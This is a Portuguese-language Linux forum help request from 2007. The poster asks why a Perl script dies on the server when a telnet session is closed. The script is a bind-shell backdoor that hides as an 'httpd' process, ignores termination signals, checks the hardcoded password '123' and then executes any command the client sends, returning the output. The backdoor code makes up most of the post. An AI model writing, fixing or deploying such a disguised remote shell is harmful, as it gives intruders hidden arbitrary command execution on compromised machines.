
removido
(usa Nenhuma)
Enviado em 29/12/2007 - 15:12h
Galera!
estou precisando de uma ajudinha de vc's!
estou estudando perl mais to me batendo um pouco.
o seguinte codigo:
#!/usr/bin/perl -w
use IO::Socket::INET;
use warnings;
use strict;
$SIG{TERM} = 'IGNORE';
$0 = 'httpd' . "{TEXTO}";
my $MySocket=IO::Socket::INET->new(LocalPort=> '1234',
Proto => 'tcp',
Listen => '2',
LocalAddr => '192.168.190.13',
Reuse => '1');
my $pid=fork();
if($pid eq 0){
my $client = $MySocket->accept();
my $pass = "123";
for(my $x=0; $x<=3 ;$x++){
print $client "Password: ";
my $a = <$client>;
if($a == $pass){
while($client){
print $client "Shell>";
my $b = <$client>;
my $cmd = qx/$b/;
print $client $cmd;
}
}
else
{
print $client `clear`;
print $client "\nWrong Password\n";
print $client `clear`;
}
}
print $client "\nBye\n";
}
conecto pelo telnet normal.
mais quando dou um "q" no telnet para cancelar essa conexão o script morre no servidor!
ae aparece o erro:
Use of uninitialized value in quoted execution (``, qx) at myback.pl line 26, <GEN1> line 1.
falow!
Feliz 2008 para o VOL e todos os usuarios!